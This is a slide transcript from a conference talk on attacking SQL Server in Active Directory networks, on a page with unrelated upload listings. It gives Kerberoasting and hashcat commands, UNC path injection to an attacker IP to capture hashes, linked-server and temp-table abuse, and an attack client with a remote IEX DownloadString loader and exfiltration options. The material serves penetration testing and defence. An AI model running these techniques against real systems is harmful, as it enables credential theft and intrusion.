Introduction to Windows Dictionary Attacks
WTF is Penetration Testing

Recently uploaded (20)

PDF
SaaS reusability assessment using machine learning techniques
PDF
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
PDF
zbrain.ai-Scope Key Metrics Configuration and Best Practices.pdf
PDF
NewMind AI Weekly Chronicles – August ’25 Week IV
PDF
Rapid Prototyping: A lecture on prototyping techniques for interface design
PDF
“The Future of Visual AI: Efficient Multimodal Intelligence,” a Keynote Prese...
PDF
Co-training pseudo-labeling for text classification with support vector machi...
PDF
Examining Bias in AI Generated News Content.pdf
PDF
Decision Optimization - From Theory to Practice
PDF
substrate PowerPoint Presentation basic one
PPTX
Presentation - Principles of Instructional Design.pptx
PDF
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf
PDF
MENA-ECEONOMIC-CONTEXT-VC MENA-ECEONOMIC
PDF
Lung cancer patients survival prediction using outlier detection and optimize...
PDF
4 layer Arch & Reference Arch of IoT.pdf
PDF
Advancing precision in air quality forecasting through machine learning integ...
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
PDF
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
PDF
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
PDF
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf
SaaS reusability assessment using machine learning techniques
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
zbrain.ai-Scope Key Metrics Configuration and Best Practices.pdf
NewMind AI Weekly Chronicles – August ’25 Week IV
Rapid Prototyping: A lecture on prototyping techniques for interface design
“The Future of Visual AI: Efficient Multimodal Intelligence,” a Keynote Prese...
Co-training pseudo-labeling for text classification with support vector machi...
Examining Bias in AI Generated News Content.pdf
Decision Optimization - From Theory to Practice
substrate PowerPoint Presentation basic one
Presentation - Principles of Instructional Design.pptx
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf
MENA-ECEONOMIC-CONTEXT-VC MENA-ECEONOMIC
Lung cancer patients survival prediction using outlier detection and optimize...
4 layer Arch & Reference Arch of IoT.pdf
Advancing precision in air quality forecasting through machine learning integ...
Early detection and classification of bone marrow changes in lumbar vertebrae...
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
Transform-Your-Streaming-Platform-with-AI-Driven-Quality-Engineering.pdf

TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments

  • 1. SQL Server Hacking Tips for ACTIVE DIRECTORY ENVIRONMENTS
  • 2. Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/NetSPI/PowerUpSQL https://github.com/NetSPI/ESC https://github.com/NetSPI/SQLC2 https://sqlwiki.netspi.com/ SQLC2 Community involvement: • SQL Injection Wiki • SQL Server Metasploit modules • PowerShell Empire functions • DBATools functions • DAFT: C# port of PowerUpSQL • Bloodhound SQL Server edge help language
  • 3. PRESENTATION OVERVIEW 5 Reasons to target SQL Server 4 Common Entry Points 3 Common Privilege Escalation Techniques 2 Examples of Temporary Table Abuse 1 Evil SQL Client (ESC) console application (msbuild in line task execution)
  • 4. Why Target SQL Server?
  • 5. WHY TARGET SQL SERVER? Why Target SQL Server? SQL Servers exist in almost every enterprise environment we see.1 SQL Servers can be blindly discovered quickly in Active Directory environments.2 SQL Servers have trust relationships with the OS and Active Directory.3 Exploitable default configurations are incredibly common.4 Exploitable weak configurations are incredibly common.5
  • 7. INTRODUCTION TO POWERUPSQL Introduction to PowerUpSQL It also supports a lot of post-exploitation functionality that covers the kill chain…like Active Directory recon. Data Targeting Command Execution Privilege Escalation AD Recon Lateral Movement Discovery Initial Access Defense Evasion PowerShell tool that can be used to inventory, audit, and exploit weak SQL Server configurations on scale in AD environments.
  • 8. INTRODUCTION TO POWERUPSQL Introduction to PowerUpSQL WWW.POWERUPSQL.COM • Setup instructions • Cheat sheets • Code templates • Function documentation • Links to: - Blogs - Presentations - Videos
  • 9. How do find SQL Servers using Active Directory?
  • 10. How do I find SQL Servers in Active Directory environments? SQL Server Discovery Domain joined SQL Servers register their service accounts in the Service Principal Name (SPN) property of the user/computer object in Active Directory. Any domain user can query Active Directory for domain computer/user SPNS. The SPNs are added to support Kerberos authentication. SQL Servers can be identified by executing LDAP queries for SPNs containing “MSSQLSvc”.
  • 11. Active Directory PowerShell Cmdlet SQL Server Discovery Get-ADObject -LDAPFilter “(servicePrincipalName=MSSQL*)“
  • 12. PowerUpSQL Functions SQL Server Discovery Get-DomainSpn -DomainController 10.0.0.1 -Username DomainUser -Password Password123! Get-DomainSpn -SpnService MSSQL Get-SQLInstanceDomain –Verbose Just SQL SPNs
  • 14. COMMON ENTRY POINTS Common Entry Points Domain users can log into SQL Server Express instances by default. Yep.1 Domain users can log into SQL Server instances due to excessive privileges.2 Default passwords are configured for logins configured by applications.3 Weak service account passwords that can be guessed online/offline.4
  • 15. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 16. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 17. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 18. PowerUpSQL Functions: Finding Excessive Privileges Common Entry Points Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded –Verbose Get-SQLInstanceDomain | Get-SQLServerInfoThreaded –Verbose
  • 21. DEFAULT APPLICATION LOGINS Common Entry Points Lots of commercial applications commonly use SQL Server. Many of those applications create default logins in SQL Server. Those logins often have default passwords that don’t get changed. Many of those applications create application specific SQL Server instance names. Those instance names can be quickly identified via LDAP queries for SPNs, then we can use Get-SQLServerLoginDefaultPw to identify defaults.
  • 22. DEFAULT APPLICATION LOGINS: Example Common Entry Points These instance names are too general for default login targeting Software specific instance name can be used for targeting default logins
  • 24. Weak Passwords SQL Server Service Accounts Common Entry Points
  • 25. WEAK SERVICE ACCOUNT PASSWORDS Common Entry Points Online password guessing – mind the lockout policy! Kerberoasting Big thanks to: Tim Medin, Benjamin Delpy, Will Schroeder
  • 26. Kerberos ticket-granting service (TGS) service ticket Encrypted with NTLM(RC4) password hash of requesting domain user WHAT IS KERBEROASTING? Common Entry Points Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by attempting to decrypt the ticket. Encrypted with NTLM (RC4) password hash of the service account Ticket Information The requesting domain user can decrypt as intended. This is what is brute forced offline. We’ll know we guessed the right password for the domain service account when the ticket information decrypts correctly.
  • 27. KERBEROASTING ATTACK SUMMARY Common Entry Points https://github.com/GhostPack/Rubeus#kerberoast | https://hashcat.net/hashcat/ Rubeus.exe kerberoast /outfile:C:Tempdomainhashes.txt Rubeus.exe kerberoast /user:SQLSVC /outfile:C:Tempsqlhash.txt COLLECTION hashcat -m 13100 -a 0 sqlhash.txt passwordfile.txt CRACKING Invoke-SQLOSCmd -Instance server1instance1 -username domainsqlsvc -password “Secret!” -Command "Whoami“ EXECUTE COMMANDS ON SQL SERVER THAT USE SQLSVC
  • 29. COMMON PRIVILEGE ESCALATION METHODS Common Privilege Escalation Methods UNC Path Injection + Hash Capture / SMB Relay User Enumeration + Weak Passwords Linked Server + Excessive Privileges 1 2 3
  • 30. UNC PATH INJECTION + Hash Cracking/Relay Common Privilege Escalation Methods
  • 31. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods Capture or Relay the NetNTLM password hash for the SQL Server service which often has sysadmin privileges (Inveigh, Responder, etc) By default, the PUBLIC role can leverage 2 stored procs for UNC injection: xp_dirtree and xp_fileexist UNC path injection can be used to force the SQL Server service account to authenticate to the attacker’s system: xp_dirtree “attackeripfile’ Sysadmins can execute operating system commands via xp_cmdshell https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet
  • 32. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods Below is the high level process for executing the attack on scale in AD: 1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs 2. Attempt to log into each SQL instance as the current domain user 3. Perform UNC path injection and capture SQL Server service account password hashes 4. Crack password hashes offline 5. Login into SQL Server and execution OS commands The Get-SQLServiceAccountPwHashes function can come in handy Thanks Thomas Elling!
  • 33. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods
  • 34. UNC PATH INJECTION + SMB RELAY TIPS Common Privilege Escalation Methods Target shared SQL Server service accounts • Service accounts are often configured as sysadmin • Service accounts are often configured as a local administrator • Compromise one account = Access to all the SQL Servers that use it Make sure your target SQL Server doesn’t check for SMB signing
  • 35. LOCATING SHARED SERVICE ACCOUNTS (PowerUpSQL) Common Privilege Escalation Methods $SQLServers = Get-SQLInstanceDomain -Verbose Get List of Domain Joined SQL Servers List Instances with using Shared Account $SQLServers | Where-Object domainaccount -Like “SQLSVC” $SQLServers | Group-Object domainaccount | Sort-Object count -Descending Group Results to Reveal Shared Accounts
  • 36. USER ENUMERATION + WEAK PASSWORDS Common Privilege Escalation Methods
  • 37. ENUMERATING SQL LOGINS Common Privilege Escalation Methods It’s common for developers and vendors to create SQL Logins with the username with weak passwords, but sometimes you don’t know the login name. As a least privilege authenticated user you can blindly enumerate all SQL Server logins by fuzzing numbers provided to the SUSER_NAME() function. Those logins can be then be used to guess passwords. Example: SELECT SUSER_NAME(1) SELECT SUSER_NAME(2) SELECT SUSER_NAME(3) …
  • 38. ENUMERATING DOMAIN USERS AND GROUPS Common Privilege Escalation Methods Through a similar process you can blindly enumeration domain users using the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions. Get Domain SELECT DEFAULT_DOMAIN() as mydomain; Get the RID for a Known Group SELECT SUSER_SID('DEMODomain Admins’) Fuzz RID to Enumeration Users and Groups SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F 4010000)
  • 39. ENUMERATING LOGINS AND PASSWORD GUESSING Common Privilege Escalation Methods Invoke-SQLAuditWeakLoginPw 1. Blindly enumerates all SQL logins with least privilege SQL login 2. Attempt user name as password 3. Custom user/password lists can be provided Get-SQLFuzzDomainAccount 1. Blindly enumerate domain users and group associated with the SQL Server domain with least privilege SQL login
  • 40. LDAP QUERIES via SQL SERVER Common Privilege Escalation Methods
  • 41. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods The OLE DB ADSI provide in SQL Server can be used to craft LDAP queries. A nice blog was written by Thomas Elling on the subject. Specifically, queries can be created using ad-hoc queries (OPENROWSET) or linked servers (OPENQUERY) without requiring a custom CLR or extended stored procedure. PowerUpSQL functions and TSQL templates can be found at: https://www.powerupsql.com More thanks to Thomas Elling!
  • 42. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods Ad-Hoc Query example using: OPENROWSET DOMAIN USERS
  • 43. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods Linked Server example using: OPENQUERY DOMAIN USERS
  • 44. Linked Servers + Excessive Privileges Common Privilege Escalation Methods
  • 45. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Linked servers are basically persistent database connections for SQL Servers. Usually preconfigured with alternative credentials. Why should I care? • Move between SQL Servers (lateral movement) • Impersonate link users without providing credentials (privilege escalation) • Crawl SQL Server link networks (bypass network security controls) • We seem misconfigured linked servers in about 50% environments
  • 46. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Query linked server: SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’) Identify linked servers: SELECT * FROM MASTER..SYSSERVERS PowerUpSQL and the Metasploit modules can also be handy for crawling and command execution through linked servers.
  • 47. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain EvilKey HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 48. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 49. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith Least Privileges DB1 LVA
  • 50. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith Least Privileges DB Link with SA account DB1 LVA Execute SQL queries and local commands on database servers via nested linked services 2
  • 51. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Link crawls can result in access to: • 100s of systems • 1000s of databases • Active Directory domains • Isolated & protected networks • Partner networks via VPN https://blog.netspi.com/how-to-hack-database-links-in-sql-server/ Lots of great work done by Antti Rantasaari:
  • 52. SQL SERVER LINK + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods
  • 54. ABUSING TEMPORARY TABLES Case Study: Abusing Temporary Tables Introduction to common approaches Case Study: Vulnerable Agent Job 1 2
  • 55. WHAT ARE TEMPORARY TABLES IN SQL SERVER? Case Study: Abusing Temporary Tables Devs often use them for temporary data storage and data processing Create race conditions that can compromise data confidentially and integrity Similar to regular tables, but intended for temporary use Occasionally result in code execution opportunities Stored in the tempdb default database
  • 56. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Case Study: Abusing Temporary Tables
  • 57. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Local Temporary Table Current Session Accessible to all query batches within the same active connection until the connection is terminated or the table is explicitly dropped. Case Study: Abusing Temporary Tables
  • 58. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Local Temporary Table Current Session Accessible to all query batches within the same active connection until the connection is terminated or the table is explicitly dropped. Global Temporary Table All Sessions Accessible (read/write) to all active connections until there are no references to the table or the table is explicitly dropped. Case Study: Abusing Temporary Tables
  • 59. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Case Study: Abusing Temporary Tables
  • 60. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Local Temporary Table CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM #LocalTempTbl Case Study: Abusing Temporary Tables
  • 61. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Local Temporary Table CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM #LocalTempTbl Global Temporary Table CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM ##GlobalTempTbl Case Study: Abusing Temporary Tables
  • 62. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Unprivileged User: Monitor tempdb Privileged User: Review Source Code • Agent Jobs • Stored Procedures • DDL Triggers • DML and Logon Triggers • Global temp table names and columns • Global temp table content Case Study: Abusing Temporary Tables
  • 63. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb • View Names • Global temp tables don’t always exist for long • Limited to point in time Case Study: Abusing Temporary Tables
  • 64. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • View Names • Looping offers better visibility over time • Throttle to avoid over utilizing the CPU ☺ Case Study: Abusing Temporary Tables
  • 65. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • View Content • Race condition results in a data confidentiality issue Case Study: Abusing Temporary Tables
  • 66. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • Update Content • Race condition results in a data integrity issue • This can lead to code execution under specific conditions Case Study: Abusing Temporary Tables
  • 68. CASE STUDY: VULNERABLE AGENT JOB - SUMMARY Case Study: Vulnerable Agent Job SQL Agent Job exists that executes TSQL job hourly1 TSQL job dynamically creates PowerShell command2 TSQL job creates global temp table and stores PowerShell command in it3 TSQL job selects PowerShell command from global temp table4 TSQL job executes PowerShell via xp_cmdshell5
  • 69. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES Query tempdb in Loop • View Names • We can see temp tables being generated with random names Case Study: Vulnerable Agent Job
  • 70. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES Query tempdb in Loop • View Names • We run the query again and see different temp tables names with the same columns Case Study: Vulnerable Agent Job
  • 71. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW CONTENT Query tempdb in Loop • View Content • We see a PowerShell command being stored in the temp table that creates the file: C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER201 4MSSQLLogintendedoutput.txt Case Study: Vulnerable Agent Job
  • 72. CASE STUDY: VULNERABLE AGENT JOB ATTCK - UPDATE CONTENT Query tempdb in Loop • Update Content • We modify the PowerShell command being stored in the temp table to write to: C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER201 4MSSQLLogfinishline.txt Case Study: Vulnerable Agent Job
  • 73. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VERIFY EXECUTION Verify file write • Via explorer • You could also use xp_filexist ‘C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSE RVER2014MSSQLLogfi nishline.txt‘ Case Study: Vulnerable Agent Job
  • 74. PREVENTION Don’t run code blocks that have been stored in a global temporary table. BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions Case Study: Vulnerable Agent Job Don’t store sensitive data or code blocks in a global temporary table. If you need to access data across multiple sessions consider using memory-optimized tables. Based on my lab testing, they can provide similar performance benefits without having to expose data to unprivileged users. For more information check out this article from Microsoft..
  • 76. What is the Evil SQL Client? SQL Server attack console client written in C# Evil SQL Client: Overview Supports discovery, access, escalation, and data exfil commands Built for pentest and red team operations Ships with files to execute via msbuild inline tasks Ships with files to execute via PowerShell
  • 77. Where can I get it? https://github.com/netspi/esc Evil SQL Client: Download
  • 78. Execution Options: esc.exe Download release or compile from source Evil SQL Client: Execution Options Execute esc.exe
  • 79. Execution Options: msbuild.exe esc.csproj file contains the esc.exe source code in an inline task *Technique by Casey Smith Evil SQL Client: Execution Options Download esc.csproj Run via msbuild *Fun fact: No file path needed if only one .csproj file exists in directory.
  • 80. Execution Options: msbuild.exe esc.xml contains a byte array of esc.exe that is loaded via reflection techniques shared by @BoHops (GhostBuild), @subTee, and @mattifestation Evil SQL Client: Execution Options Download esc.xml Run via msbuild
  • 81. Execution Options: PowerShell – Loading esc.exe Assembly Load assembly from file or byte array: [System.Reflection.Assembly]::LoadFile("c:tempesc.exe”) or [System.Reflection.Assembly]::Load($filebytes) Evil SQL Client: Execution Options Shortcut Download PowerShell code to automatically load Evil SQL Client from a string containing a hardcoded byte array. IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e sc-example.ps1")
  • 82. Execution Options: PowerShell – Executing esc.exe Functions Call desired functions. Below are some examples: [evilsqlclient.Program+EvilCommands]::GetSQLServersBroadCast() [evilsqlclient.Program+EvilCommands]::GetSQLServersSpn() [evilsqlclient.Program+EvilCommands]::MasterDiscoveredList [evilsqlclient.Program+EvilCommands]::InstanceAllG = "enabled" [evilsqlclient.Program+EvilCommands]::CheckAccess() [evilsqlclient.Program+EvilCommands]::MasterAccessList [evilsqlclient.Program+EvilCommands]::CheckDefaultAppPw() [evilsqlclient.Program+EvilCommands]::CheckLoginAsPw() [evilsqlclient.Program+EvilCommands]::MasterAccessList Evil SQL Client: Execution Options PowerShell Execution Note The interactive console currently doesn’t work through PowerShell, but all other functions do. Hopefully, I’ll fix the bug, but it’s still very usable. ☺
  • 83. ESC Commands Evil SQL Client: Commands Discovery Access Gather Escalate Exfil Discover file Discover domainspn Discover broadcast Show discovered Export discovered Check access Check defaultpw Show access Export access Single instance query Multi instance query List serverinfo List databases List tables List links List logins List rolemembers List privs Check loginaspw Check uncinject Run oscmd Set File Set FilePath Set icmp Set icmpip Set http Set httpurl Note: The “show settings” command will show the current configuration at any given time. * The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time. *All query results are exfiled via all enabled methods.
  • 84. Query Options: Single Instance Configure Single Instance Target Set target MSSQLSRV04SQLSERVER2014 Set username backdoor_account Set password backdoor_account Show settings Evil SQL Client: Query Options Execute query Select @@version Go
  • 85. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options
  • 86. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings
  • 87. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings Check initial access Check access
  • 88. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings Check initial access Check access Show access
  • 89. Query Options: Multiple Instances Execute query Select @@version Go Evil SQL Client: Query Options
  • 90. Query Options: Multiple Instances Execute query Select @@version Go Evil SQL Client: Query Options Run Commands List databases
  • 91. General Notes If you mess up a command, just run: clear Evil SQL Client: General Notes CTRL + C kills the application
  • 92. ESC Demo Evil SQL Client: Demo
  • 94. TAKE AWAYS Take Aways SQL Server instances are easy to find in Active Directory environments. The default trust relationships between SQL Server on domain systems and AD can lead to privilege escalation scenarios. Attacks can originate from the internet or internal vectors Be proactive about finding common issues and enabled detections. The same techniques used in PowerUpSQL can be adapted to any medium.